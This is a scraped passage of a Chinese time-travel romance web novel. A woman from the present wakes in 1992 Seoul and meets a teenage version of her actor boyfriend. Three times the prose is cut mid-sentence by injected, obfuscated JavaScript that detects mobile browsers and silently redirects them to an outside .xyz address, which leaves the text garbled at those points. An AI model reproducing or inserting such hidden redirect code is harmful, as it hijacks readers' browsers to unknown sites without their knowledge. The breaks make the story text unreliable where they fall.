《夏日绚烂[娱乐圈]》 1. 第 1 章 1992年,汉城。 恩平区鹰岩洞,谢安琪趴在窗口,感受不到一丝风。 不知道为什么她在刚买的住宅区睡觉醒来的时候,就从冬天一睡到夏天。看着外面的炎热程度也像是这几个月都就没怎么下过雨。 日光耀眼,燃烧这个区的每一寸,谢安琪看着睡了一觉突然变化的世界,一时间不知道怎么办才好。 而且这样的天气不止遇到电路故障引发的火灾,她站在窗口背光处,难得的阴凉处,庆幸着就掉在她这个屋塔房外的电线不至于烧起来。 谢安琪不知道怎么办,但好在这个屋塔房还是她买下来的那个,怪不得她买下来的时候那么便宜,说是老房子便宜卖给她了。 不过看现在这样子,她是遇不见那个好心便宜卖她房子和地的演员了,谢安琪趴在那,第五次给郑禹胜打去电话。 很显然这个电话是打不通的,因为她的手机已经快没电了,而且没有信号,这天太热了,存着试一试的心思她翻身打开了空调。 结果显而易见的失败了。 谢安琪干脆挂了电话,轻呼一口气,手指拨动黏在脖颈处的零碎发丝,衣服好还是冬季地暖足,她就穿的短袖短裤,刚好这样一夜入夏,她也不用换衣服。 早前还没办法分辨天气变化,还以为是地暖太热了,突如其来的燥意令人无法喘息,才把她热醒到想要去开窗户,冷冷自己。 然后她就发现了窗外的世界有点不太对劲,地方还是她的屋塔房在的地方,但就是外面有点不太对劲。 她站在窗户处,看着门洞小巷外道路上来来回回的车,偶尔还有辆公交从不远处驶来,在马路对面短暂停留,带走乘客,留下空荡荡站台和车尾气扬起一片灰。 谢安琪站在窗户边上,今天这个事情已经是完全超出她处理能力外了,她除了躺平随意外没有其他选择。 因此这会她就只能托着下巴站在窗边,准备平息一下情绪再说,这个时间看车看风景,直到她看到对街站台底下多出的那个人时,猛然站直。 车开走的时候,从刚才那辆公交车上下来的少年,即便他的刘海乱乱挡住脸,穿的也是普通的衬衫,但一眼可见的肩膀平直,背脊挺拔。 那人背着一把琴,在肩膀露出黑色一角,远远看过去,或者是路程疲惫,他表情困倦又冷淡。 那人没有停留,直接背着琴穿过马路,往门洞的小巷子里走,路上的电线错落的遮住他的身影,但挡不住他的步伐。 老旧的屋塔房间闯入了一位年轻帅气的少年,他的影子和房屋的影子都被叠层遮挡,日光从房屋缝隙间悄然而下,在他身上晃动。 不远不近的时候,谢安琪愈发看清他的脸。 虽然不是记忆里的那位又会开玩笑,又会揉着她脑袋,笑起来还会眼角的皱纹的他,反而是是一位年轻的,帅气的,甚至她想都不敢想的人… 是年轻版的郑禹胜回来了。 也管不得自己跑出去还能不能回来,只是看到熟悉的人让她心里没有那么彷徨的情况,谢安琪义无反顾的转身就往外跑。 她的眼睛亮亮的。 郑禹胜学院的中提琴课程结束,今天又被老师说不适合练琴正让他烦躁得很,走在路上也没什么心情,狭长的眸淡淡望着路边的一切。 直到看到有人挡在他面前。 他停下,眼皮微掀,先是看到一双白皙的长腿,而后又抬头看到站在自己面前的人。 谢安琪一见到郑禹胜,也不管这时候正年轻的郑禹胜认不认识她,就接过他的琴,拉着他的袖子转个方向往她来的屋塔房隔壁跑去,还连忙说:“快,去你家,我家没有风扇!” 郑禹胜的脚步完全没有在原地的犹疑,直接顺着她的力气就跟着跑去。 “ 你回来了,这次待多久?” “ 内?什么待多久。” 郑禹胜已经停在谢安琪身旁,高出她许多的郑禹胜,垂眸看了她一眼,隐去了自己眼眸里的开心,沉吟不语拿出钥匙开门。 屋塔房的大门打开,郑禹胜领着谢安琪往楼上走去,一楼没有风扇,二楼才有。 “ 我也不是什么奇怪的人,我们是认识的。” 在郑禹胜推门的霎那,谢安琪就轻车熟路地钻进去,“ 就是我住在隔壁,那房子还是你卖给我的,嗯,当然不是现在的你,是十几年后的你。” 谢安琪已经无所畏惧了,反正大不了就是送警察厅,再不然被送去研究切片也无所谓,反正她也不知道怎么回去,虽然明天就是期末作业的ddl,但显然没什么用。 谢安琪说完,在屋子里找风扇,她很自觉地跑去开放在墙角的风扇,然后坐在风扇前大呼凉爽。 她敢这么大胆也是郑禹胜跟她说过,这两栋屋塔房,除了卖给她的那栋一直没人住,只有平时保养,他年轻的时候都是和爷爷住另外一个屋塔房。 而他练琴的那大半年,爷爷都去东大门区住了,他父母买的公寓,让爷爷去住着,就他要不是练琴老师在恩平区,他也去了。 当时买房子的谢安琪还觉得很奇怪,为什么要跟她讲这么多呢? 但也是因为谢安琪知道这些才敢直接堵郑禹胜的路,跑去他家吹风扇,虽然没有空调凉爽,但好歹能降温的谢安琪还是觉得自己被热得头昏脑胀的大脑又重新清醒了过来。 也是要不是头脑不清醒了,怎么敢直接跑出来挡郑禹胜的路,这时候他才19岁,按道理说根本不认识她才对。 她转过头,对着身后的郑禹胜说,“ 我不是精神病,虽然我这话说得很奇怪,怎么会有未来的人… 但是… 反正我现在很需要你,刚好你就回来了。” 郑禹胜没回答,也没有被惊吓的样子,缓步走到谢安琪身旁,修长骨感的手指把风调整了一下,然后指尖捏着她的衣服一点点,帮她调整好,然后才回应她刚才的话,“我相信你,不过你这次能呆多久?” “ 内?你为什么这么问?” 谢安琪看着郑禹胜衣服接受良好的样子,有些不可思议。而这会背着琴往卧室方向走,“ 我就是为了见你才回来的。” 谢安琪连忙追上去问:“你是为了见我?天呐!你知道我会出现?这是怎么回事?” “ 嗯,为了见你,我知道你会出现,我很小的时候就见过你了,安心在这或者隔壁住下来吧,本来也都是你的房子。” 郑禹胜每个问题都回答了,甚至还多说了好些内容,而他进了卧室旁边的一个小房间,是一个放置了很多绘画的地方,谢安琪站到门口的时候,被眼前一幅幅画上的自己惊到… 而郑禹胜站在一旁,陪她站在一起。 两人身形差很明显,谢安琪小小一只,站在郑禹胜身边,他都能完全把谢安琪挡住,他个子高身形体态也很好,白色背心外一件衬衫在他身上显得宽松,刘海略长,稍稍贴着那半边脸颊。 谢安琪呆呆的站在那,出神地看了屋子好一会,才走进来,双手背在身后,绕着房间看了一圈。 她只知道郑禹胜会拉中提琴,听他私下说过,但是不知道他还会画画呢,而且这些习作,多是素描和写生,是不是他满意的作品不知道,但这些人物画很明显能分辨出来就是谢安琪。 当初她买下隔壁屋塔房的时候,交付完有来郑禹胜这个屋塔房,不然她不会这么熟悉,但这个屋子她没有进来过,所以她自然也不知道这屋子里全是画的她。 算起来她也没有好好研究这个屋子,毕竟她不是住在自己买的隔壁屋塔房,就是和同学们一起去过郑禹胜新买的公寓。 而且她昨晚睡觉前,郑禹胜又去和李小小跑综艺了,她就没去找他就这一晚,就变成她回到十几年前? 不对,是二十六年前!!! 谢安琪绕了一圈,在看完这些熟悉的作品后,她走去郑禹胜身边,两人挨得近,两人手臂无意间贴上,虽然她下意识会靠近郑禹胜,但想到现在的他可能也与她没有那么熟悉,很快又和他保持了下距离。 郑禹胜什么感觉不知道,但是看到年轻版的郑禹胜,她终于理解了,为什么郑禹胜老跟她叨叨自己灿烂的二十代。 现在的郑禹胜,是让谢安琪会因这短暂的碰触而心跳加快,残留在肌肤上的触感都要密密麻麻渗透进她的肌肤牵扯着她的心。 郑禹胜突然靠近她,保持在一个很合适的距离时,似是不明地看着她,问:“ 你都不记得了吗?” 谢安琪眨了眨眼,“ 嗯 ,失忆了,不记得了。” 郑禹胜不说话了,站直不知道要去干什么,转身往外走,谢安琪看着他漫不经心般地离开,胳膊晃着,手指骨节分明不知道相互摩挲的手指头是为什么。 谢安琪跟着过去,只要稍微离近了,郑禹胜就能感受到身旁女孩不断贴近的温度,祂有些无奈的站住看着她,转头看她近在咫尺的时候不动声色地顿了一顿。 谢安琪则是笑了,眼如弯月。 “ 那你既然知道我,那不如你收留我几天吧。” “ 不然我也不知道该怎么办。” “ 我还住我自己那,但是吃饭的时候我可以和你一起吗?” “ 你就收留我一下吧。” 郑禹胜不着痕迹地拉开跟黎棠的距离,顺手拿了一件衬衫扔给她,谢安琪抱着衣服还是跟在他身后,不断的叨叨。 “看你表现。” 谢安琪:“……” 郑禹胜很快闪身进了卫生间,门一关,就留谢安琪在外面,天热得很,她还是把衬衫穿上了,因为她才发现自己好像其实需要套一件衬衫。 对于突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471760|169893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然出现在二十几年前,见到年轻版还认识她的男友,谢安琪觉得有点不知道怎么形容这个事情。 但想到过往的事情,她才发现刚认识郑禹胜的时候,他就是她要比对其他人好,她跟同期的学生一起上课,作为大龄同学的郑禹胜还会主动找她一起做课题。 对着大家虽然不是那种冷意的脸,但确实非常惹人注意的脸,就连现在都还有很多粉丝喜欢郑禹胜,每次他公司门口还是会有大堆的粉丝送信送礼物,他会很感恩的收下,但也只是对粉丝的感谢。 还是藏了点艺术家的清冷和高傲,但是这些情绪莫名其妙的在面对她的时候都没有,虽然郑禹胜总是跟她说自己灿烂的二十代的时候是一个略有敏感、细腻、忧郁但又散漫不羁的人。 但不用担心绝对不会对她不近人情。 当时谢安琪还觉得这个人很喜欢跟女友分享自己年轻的时候那些故事呢,但没想到都是为了现在。 谢安琪一直坐在客厅吹风扇,这时候,郑禹胜回来,带进来一瓶冰啤酒。 易拉罐在谢安琪脸颊上碰了一下,谢安琪下意识躲开这突如其来的冰凉触感,转而抬头看着郑禹胜。 郑禹胜很快蹲下来,跟她平视,细碎的黑色刘海变成湿发垂在额前,浓眉大眼此时表情淡淡的。 眼看谢安琪一直不接,郑禹胜歪歪头,面上倒是看不出什么不耐情绪,单手握着罐身,中指勾住拉环。 然后拉开瓶口,他把啤酒递到谢安琪嘴边,喂她喝了一口。 “ 喝吧,你喜欢的那款。”他自来熟般说着, 谢安琪咽下清爽的啤酒,连续反问,“ 为什么你说认识我很久了?” 郑禹胜轻笑一声,还没说什么,谢安琪突然凑近在他身上闻了闻,然后她诧异又震惊地抬头问:“你抽烟了?” 郑禹胜像是想到什么,连忙否认:“我没有。” “ 不是!你就是抽烟了,你每次抽完烟就是会残留烟味在自己身上,我不会弄错。” 谢安琪非常确定自己闻到了烟味,虽然是非常淡的薄荷味,几乎淡到问不出来,但是她和郑禹胜也在一起大半年了,怎么会分不出来。 而且现在虽然不知道是哪年,郑禹胜可能还没有到韩国法定成年的二十岁!她怕郑禹胜逃跑,立刻拽住他手腕借力起身,然后伸手就往郑禹胜的口袋处拍去。 郑禹胜直觉地往后退,连忙用另一只手去挡着。 “ 呀!安琪你干什么?” “ 我还不知道你,你肯定是藏烟了。” “ 啊西 ,我没有!” “ 没有躲什么?” 真的没有嘛? 真的没有的话,郑禹胜就不会躲了。 但是他个子高,只要一只手就能扣住谢安琪两只手,但是这会她毫无章法地非要拍着他裤子或者衣服口袋,就她隔着衣服碰触到他的时候,郑禹胜都感觉她的指尖和手掌仿若带着细密电流,直接打到他的肌肤上。 才十九岁的郑禹胜还没有十几年后那种定力,每一次谢安琪凑过来就足以让他情绪波动来着,而现在更是在他心里激起浪涛。 只是他越躲,谢安琪就越靠近,他总是过不掉的,果然下一刻两人步伐撞在一块,他没站稳,往后摔下来,还牵着他手腕的谢安琪也跟着一起摔。 好在郑禹胜最后抱着她,手肘撑在地上手护着谢安琪的头,但没拿稳的啤酒还是撒了,一半在谢安琪身上,一半在郑禹胜身上。 谢安琪这会发现他的衬衫口袋,还没等他反应,东西就被谢安琪从他上衣口袋里拿出来,万宝路绿盒,是茶香的那款,还有一个打火机。 谢安琪半扑在郑禹胜身上,她笑的开心,好像碰到郑禹胜的这一刻,一切可怕的事情都变得无所谓了,窗外日光照亮她的脸,穿着郑禹胜外套的谢安琪半依在他身上。 郑禹胜躲着视线不去看谢安琪躲在衬衫里起伏的胸口,还有他完全没有办法说服自己的去相信的事情。 而她微喘着气,盘腿坐在一边,只顾着高兴的说着自己果然没猜错,郑禹胜放弃挣扎半靠回地面,眼睛虽然看着天花板,但是漆黑的眼眸里藏别样情绪。 甚至他连自己的气息都藏不住,最后只能颓败又无奈地把头转向别处,避开谢安琪的目光,喉结滚动,随之叹气。 打翻的啤酒罐咕噜噜滚到一边,地上和身上都有啤酒的味道,好像连空气和阳光都染上了热活的啤酒味道。 郑禹胜躺在那,真真切切地感受到这个现在的一切,应该是真实存在的,就像他小时候遇见的她,和现在的她又是一样的模样,这也是她多次说自己是未来而来的人,郑禹胜也完全不在意其中真假。 就像夏日足够炎热,情绪也会跟着错乱。 真真假假,也就那样吧。 2. 第 2 章 谢安琪慢半拍才发现自己整个人都栽在郑禹胜身上,但是本身天热,他身上冬暖夏凉的,这会冰冰凉凉的她一点都不想离开… 烟也被她扔到一边,反而是这会她过于熟黏的行为让郑禹胜猜到自己未来和她肯定是男女朋友。 不然她不会找到烟的第一眼全是得意而不是害羞,这会她也是哼哼着话里话外都是自夸对他多了解。 那了解的也不是他,了解的难道不是十几年后的大叔吗?但郑禹胜也只是抬手捏了捏眉心。 “ 呀! 谢安琪?你能不能不要这样乱七八糟的拍来拍去的。” “ 嗯?你说什么?” 谢安琪圆眼眯起来,不可思议的表情看着他,整个人凑近过去看着郑禹胜的眼睛,“ 你这是害羞还是恼羞成怒哦?” 谢安琪的手很软,掌心扣在他胸口处,另一只手撑在地上,眼睛视线从他眼睛往下到喉结,顺着她的视线郑禹胜的喉结稍微滚动,在她眼睛里滑动着,几乎是那么一瞬间的时候,谢安琪忍不住心跳加快。 她这会双腿还扣在郑禹胜膝盖处,反而让他起来都不方便,而她微微的俯身却更加拉近两人距离,直到两人气息交织在一起的时候,她才意识到自己现在对郑禹胜的行为有点超过这个时间段两人关系。 这样的姿势有些过于惹人联想。 意识到这点后她在看着郑禹胜的眼睛,才从他 眼眸里发现了什么不对劲的事情,他一直半垂着眼睛避免与她对视,这个动作让他原本褶皱很深很好看眼睛莫名其妙的变成透着些危险信息的垂眼。 虽然她现在可能看着的外貌会更成熟一些,但想到郑禹胜平常的样子,她还是忍不住脸颊瞬时泛起一层烫意,立刻松手从他身上起来。 也是她感受到什么,但也不敢确定的情况,只能赶紧起来,而郑禹胜也在她起来后立刻坐起来,在她看不到的角度呼了口气,而后视线随意看着别地而欲盖弥彰地支起一条腿。 谢安琪一边懊恼自己到底在干什么,一边在安慰自己这人虽然年轻了但还是她男朋友(虽然他不知道)。 “ 你怎么还管我抽不抽烟?” 短暂时间后,几个呼吸下郑禹胜确认自己声音没问题的时候才从地上起来。 他低头看着自己身上的啤酒,被打湿的地方也不是很好说,而且紧贴着感觉也不舒服,也知道她是未来自己的女友,所以也就散漫丢下一句:“我去洗澡了” 就离开了。 谢安琪不说话,心里叹气自己也得去洗漱,虽然不知道自己家还能不能进去,好在她回去的时候看到指纹密码锁还在那,手放上去顺利的进去了。 半小时后,郑禹胜边擦着头发边套上新的衣服连忙往外走,出来的时候,房内早已没了谢安琪的身影。 她这么快就回去了吗? 郑禹胜站在原地,略长的头发没吹干,发尾湿漉漉搭在脸上,他嫌弃遮脸麻烦单手往后手梳回去,露出舒展的浓眉大眼,半垂着眼眸里全是不易察觉的难过。 清瘦高挑的背影在只有他的房间里显得孤零零的。原先打翻在地的啤酒罐已经被捡起丢进垃圾桶,地面也被打扫过,干干净净。 烟和烟盒却都不见了! 一猜就知道被她拿走了,想到自己还有东西能留在她那,郑禹胜喉间溢出一声无奈的笑,拨着湿漉的头发,毛巾扔了回去,然后穿上鞋打算去找她。 等站在她家门口,却发现门是紧缩的,连带着看着还是一直以来没人住的样子,他甚至在想刚才的事情是不是他的梦? “ 呀! 郑禹胜你站在那干什么?” 谢安琪换了套衣服头从窗户那伸出来问他。 “ 你这么快就回家了,不是说要跟我一起吗?” “ 你不是不想看到我吗?还因为我抢你烟生气了。” 说到这,谢安琪吐出一圈烟圈,另外一只手抬起来,葱白手指间夹着烟。 “ 你还不让我抽烟!你自己不也是?” “ 哈哈哈哈。” 谢安琪笑了起来,“ 我都二十六了,我怎么不能抽烟,而且你现在不是该叫一声努那?” 眼看着郑禹胜呆呆站在那也不再说话,谢安琪摇摇头,退了回去关上了窗户,虽然不知道怎么回事,她屋里的空调可以用了,这大白天的谁也别想她出门。 对话单方面截止。 郑禹胜,“ ……” 怎么就是努那了? 难道不是本来的年纪他更大的吗? 对于谢安琪不叫他欧巴而有小怨念的郑禹胜退了两步站在阴凉处等她出门。 漫长夏季,燥意弥漫在空气中,不知何处蝉鸣不歇,声声入耳。他姿态懒散地站在那,从另一个口袋里掏出烟,然后熟练点了后,修长指节便将空了的烟盒随意捏成一团。 吐出的烟圈在他的视线里好像飘上了天变成云,不可琢磨又触碰不到,就跟某个女孩一样。 门内。 谢安琪在自己房间里,躺在床上感受着失而复得的冷气,在这一刻她的屋子还是赢了世界几年,提前用上了空调,果然在这样的高温天气里,从小吹空调长大的人,没电真的不行。 她的命就系在空调这了。 谢安琪打算出门看看这个年代的韩国,但是又怕自己出去了再回来就回不去了。 所以即使她把自己打扮了一番还是不敢再往外跑了,最后她还是在家呆着,关上窗户吹着冷气,连郑禹胜过来敲门她都不愿意搭理。 直到听不到什么声音了,谢安琪想了想,没去开门,还是在屋里呆着。 郑禹胜没急着走,先在门口等了一会,发现按门铃还是没人搭理他,等了一会,没人开门。郑禹胜又按了几下门铃,无法确认谢安琪到底还在不在,只能回去拿起电话,按键拨号给她打电话。 【喂?你已经回去了吗?】 谢安琪竟然接到了电话: 【喂?谁啊?】 【什么回不回去的?】 【你打错电话了吗?】 要不是听出来她语气里的笑,郑禹胜会以为自己真的打错了。郑禹胜修长的手指在桌上敲打着,尾指卷着电话线还要在说什么,还没来得及继续说,那边就挂了电话。 郑禹胜听着那边嘟嘟嘟的声音,刚想继续打过去,接到了别人给他的电话,等接了后才知道是他在汉堡店打工的老板。 今天他休假就没有去上班,老板打电话问他要不要去试试当模特,如果他愿意的话,还可以 陪他去参观模特中心和经纪公司,总归意思就是凭借着他优越的外貌和身材,如果当模特的话应该有不错反响。 说完就想着顺路来他家看看,他倒是不想让老板来,还是因为现在住的两套屋塔房都太奇怪了,如果不是他很早前见过谢安琪,接下了帮谢安琪看房子的工作,他高中辍学后估计也没什么可干的工作了,只是现在的她应该还什么也不知道。 汉城夏天傍晚,晚霞热烈。 郑禹胜背着包去汉堡店上班,路上边走边带着耳机,扯出一条线连着mp3,等他到了店里 老板看着他打量了很久才问他是不是谈恋爱了。 郑禹胜原先散漫冷淡的眉眼定了一瞬,皱起眉头:“社长nim,你说什么?” “ 我说你是不是谈恋爱了,反正我看着你有点像谈恋爱了,来一路上从你从那边出现倒进门这几秒,笑得可开心了。” 老板说完还啧啧感叹:“ 果然我就知道你小子到年纪就恋爱呗,长得这么好看不恋爱不是白瞎了?” 社长边说话,边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471761|169893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指挥郑禹胜去后面换好店里的地方,看着他离开的背影忍不住感叹着,还好这男孩长得成熟,个子又好,往那一站就是当模特的料子啊。 - 傍晚入夜,灯光星点。 入夜之后的汉城依然没有风,晚上也依然闷热的厉害,这种闷热情况反而容易下雨。 果然临到八点的时候,窗外开始落雨,这会实在是饿的不行的谢安琪准备出门买上吃的,但是又怕卡不能刷,现金不能用,出去了门关不了,人就站在家门口,出去或者进去她都不甘心。 还没等她决定好怎么办的时候,已经开始噼里啪啦的雨滴就掉落下来。她就站在雨里,对着地面上蜿蜒的水波和苦闷的情况犯愁。 她这回不去,饭菜怎么办啊。 这个时候,不可能有人给她送饭了。 夏日雨水让这个夜晚变得湿漉漉,潮湿的同时,闷热却不减。屋塔房推拉门只有延伸出来一点点的门檐,只能遮一点雨,细碎的雨水在路灯下显得光影琉璃像是梦一样。 谢安琪就孤零零的坐在那,不敢出去也不想回去,虽然头顶没被雨淋到,可是倾斜进来的雨丝还是淋湿了她的裙摆和鞋子。 而就在这时,有人走到她面前出现在她头顶。谢安琪愣住,望了望前面的人呢,再抬头,意外地看到郑禹胜的脸。 周遭一切都像被噤了声,只有雨水滴答滴答不停歇地响着。昏黄的路灯给郑禹胜的脸覆上一层冷光,像是将他与这个雨夜糅杂在一块。可他的表情很冷,狭长的眼睛漆黑黑的,沉得不透一丝光。 她反应了好久,才反应过来。在她要开口时,郑禹胜先抢了白。 “你在这干什么?等男朋友呢?” 语气平平,听不出什么,又好像听得出什么。 谢安琪懵然地眨了眨眼,重新抬头看了看他还有他拎着的塑料袋问:“你现在在给我送晚饭吗,那你就是我男朋友?” 郑禹胜的表情绷了一瞬,转过身就往前走,谢安琪慢了半拍,但还是跟着跑了过去,“ 你去哪啊?你就这么淋雨回来的?”她疑惑地问。 这会也不管能不能回家了,跟着郑禹胜就往隔壁屋塔房跑过去,郑禹胜没关门,但也没回答。 谢安琪也不管他回不回答,自顾自地说:“太饿了,我都没办法去买东西,我最近也没有买吃的,我都要饿成傻瓜了。” “ 汉堡分我一半嘛,人家真的好饿。” 郑禹胜停了下来。 谢安琪也跟着停下。 她仰着头看着郑禹胜的脸,笑着:“你什么表情啊,我就是只分你一半的汉堡诶。” 郑禹胜脖颈处凸出明显的喉结上下滚了两下,利落冷淡的脸这会才有一点情绪。 “那你还要我叫努那吗?” “不了不了,我叫你欧巴可以不?。” 郑禹胜眼神望向前方,顿了两秒才说:“那也行。” 郑禹胜带她进屋,刚要帮她热汉堡的时候屋里亮着的灯忽然灭了,声响嘈杂的雨夜一下陷于黑暗。 突然就黑了的屋子让她一时间看不清一切,有些害怕的她着急去抓郑禹胜的胳膊,好像这样可以缓解一下她其实一直强压住的恐慌。 她其实很害怕的。 “ 郑禹胜,你还在吗?” “不在。” “……” 谢安琪心里骂人。 她的手抓到了郑禹胜的胳膊,她的肩膀碰到了他的胸膛,然后她的手被郑禹胜主动牵住,黑暗里能体验到的是陡然停拍的心跳又复苏了。 谢安琪恍惚着,虽然看不到郑禹胜,却能感觉到他牵着自己的手,然后他温热的鼻息很轻地扫过她耳廓,在她耳边小声喊着: “努那。” 3. 第 3 章 谢安琪有夜盲症,这种突然停电陷入的黑暗,会让她看不清周围,为了缓解心里的害怕,她紧紧的抱着郑禹胜的胳膊。 虽然是年轻版的郑禹胜,但是在谢安琪心里只当成是她男朋友的那个郑禹胜,很自然而然两人之间的关系又拉近了很多,理所当然地这段时间她都留在了郑禹胜房间里。 90年代的汉城虽然发展的相对还好,但老化又低垂的电路完全没有十几年后的分区规划,老旧的电路碰上大雨,会停电也没有很稀奇。 这会一切都是黑暗的,郑禹胜眼神好,他甚至可以看到谢安琪脸上的表情,而在振聋发聩的夜雨中,他反倒是觉得现在房内安静。 不能一直在黑暗的屋子里带着,又热又没办法加热食物,最后还是两人去了隔壁谢安琪住的屋塔房,不过两人也没敢开灯。 毕竟整个门洞都停电了,就这一家有电开灯很难结束,只有她家空调运转的声音在郑禹胜听来很清晰。 还有的是浴室哗哗水声,等郑禹胜出来,屋里只打着一个手电灯,看着像是点了蜡烛一般也算能解释。 郑禹胜在湿黑的头发上只盖了一条干毛巾,出来时候,带出一阵裹挟着木调沐浴露气味的热气。 郑禹胜的刘海不短,甚至算是有点略长,这会头发都打湿了,额前刘海这会儿被撩了上去,露出棱角分明的五官。 谢安琪猜测这会他应该也就二十甚至是十九, 但他骨量很重,五官成熟,只是看着反而显得谢安琪年纪更小。 谢安琪也去洗澡,换好衣服出来,见到郑禹胜的时候不免好奇问:“你怎么还没走?” “ 我有事情想问你。” 郑禹胜盘腿坐在地上,一双长腿撑在床沿,整个人像个雕塑一样坐在那。 微弱的灯光里,他看着谢安琪的眼神里充满了好奇,怀念,还有很多说不清的情绪,多的他也没有解释,只是问,“ 其实我和你在未来会是情侣吧?” 这边坐在另一边床沿盘着白皙长腿,头发落在肩侧,正准备扎头发的谢安琪顿了顿,一时间不知道怎么回答。 确实到了现在为止,她都表现的过于熟念了,按照道理她应该躲着郑禹胜的,可是她真的很喜欢郑禹胜,连带着有机会见到年轻的他都忍不住去见。 “ 这个嘛… 怎么跟你说呢… 我要说我不是未来的你也不信… 你不是都说了这个屋塔房本李就是我的嘛?但是我不知道现在该不该回答你这个问题,或者我觉得要不你就别问了。” 郑禹胜顿了几秒:“所以?” “所以,你就别问了。”谢安琪眨着眼笑着,坐在原地看着郑禹胜,“ 这种事情,不要分的那么清楚了。” 郑禹胜抬手用干毛巾擦了擦滴着水的头发,胸腔微震,感受着空调风的舒适,很轻地笑了一声。 “ 这个东西现在汉城都没有卖的,怎么看也不对劲,还有你的门,也不需要钥匙。” 他顺手指了一下开着的卧室房门,“如果我们未来不是情侣,你现在让我进来就是引狼入室。” 谢安琪:“……” 这个词是可以这样用的吗?这人是生气了?怎么看这个说话语气都不太对劲呢。 被他这样训人的语气弄得生气了,谢安琪扁起嘴巴,满脸不开心,眼眸望着眼前的少年的时候都带了点委屈。 “ 你这是在凶我?” 郑禹胜灿烂二十代版和郑禹胜成熟四十代版其实面容没有太大变化,身材一样容貌一直都这样好看,非常大气的五官年纪小也显得成熟。 而且他现在的眼神里还远远没有未来那么会藏情绪,当下这个略生气的郑禹胜其实让谢安琪有点心脏跟着紧张的跳动起来。 “ 郑禹胜,你是看不起我还是看不起你自己。” “ 你都知道这其中这么多不好解释的事情,为什么还要揪着这个事情不放。” 郑禹胜边擦头发边蹙着眉头,像是在思考:“我是在为你考虑。” “……” 以谢安琪现在的年纪其实小了他二十几岁,两人都在汉阳大读书的时候,她就没能在口头上赢过这个男人,怎么到了这个时候,年轻版的她也说不过。 谢安琪懒得再说了,干脆装可怜,瞬间眼泪汪汪的:“可是我一个人害怕才会找你的,不是你看见我第一眼就说什么 ‘你终于回来了’的吗?” 郑禹胜不为所动:“那所以呢。” 这人怎么回事,死脑筋得很,怎么就对她这么死脑筋,跟他的好基友李政宰栽在一起的时候不是很对逗他吗? 想到郑禹胜就只对她这样,谢安琪一口气憋在胸口,气的脸上通红,郑禹胜停下擦头发的动作:“你睡吧,我回去了,如果你感觉害怕就打座机吧,我会听着接电话的。” “ 我这屋子多,你把你那边锁好,其他屋子你睡好了,有空调凉快!”谢安琪嘟囔着:“你为什么一定要赶我走?” 明明都猜到是未来女朋友了。 郑禹胜没有第一时间回答。 谢安琪疑惑,抬头看过去,恰好撞上他沉如夜色的眼眸,狭长的眼型低着眸看人的时候,总给人一种莫名的侵略感。 她的心脏跟着停了一瞬。 “安琪,你知道我现在年纪吗?” “啊,这个…” 郑禹胜没继续说下去,但谢安琪听懂了,他这是怕令人住在一栋屋塔房里,年轻气盛的成年人之间会有些什么事情发生。 从某种程度上来说,要真发生了什么,未来的郑禹胜会生气吗?谢安琪忍不住认真思考。 其实以前,郑禹胜也经常在谢安琪这过夜。那时候他只是住在棚户区的小孩,家境贫困的很,家里的长辈还生病,连他读书的钱都没有。 不过那都是小学以前的事了,那时候他还是没发育的小孩,面对谢安琪还不懂什么是女朋友,只知道谢安琪对他很好,给他饭吃,给他住的地方,还会收留他。 连这两栋连着的屋塔房和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471762|169893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地皮都是谢安琪给他的黄金让他买下来的,只说她是他未来的女朋友,反正那时候记得还给她一套就好了。 这个事情太匪夷所思了,要不是真的有两块地皮在他名下,他真的以为自己不同年纪都能见到的谢安琪是鬼怪呢。 反正郑禹胜从第一眼就记住她了,是她帮助他这个可怜的孩子,吃的喝的玩的都得分给他了。 但那时候他是小孩,只把她当姐姐,没什么关系,没有男女之情。 但现在再看到她。 他知道现在不一样了。 谢安琪没想到郑禹胜竟然这么敏感,但按照他的反应应该是见到她很多次了,甚至他小的时候也见过她,这不是没什么可能。 而且现在屋子里光线没有很清晰,她能看到的郑禹胜还是一样的身形,宽肩窄腰,身形体态随着他半弯身的动作显露端倪。头发还是没完全干,露出整个面容,肩膀平直宽阔,几滴水印明显。 跟他平日没什么不同。 或者说因为她眼睛的原因,有不同现在也看不大清晰,自然在今天这种情况会下意识的紧贴着他。 不过看他这样子,谢安琪意识到自己给他添了麻烦。而且他淡淡回应的样子好似不大关心。想到这谢安琪抿抿嘴巴,露出一个惆怅的表情,她的心微微发胀。 “那要不你回去吧。” 雨夜里啪啦作响的白噪音填充着他们之间突然的安静,微弱的灯光里暧昧丛生,连带着郑禹胜低头时利落的脸侧勾勒出分明的轮廓都带着些迷茫。 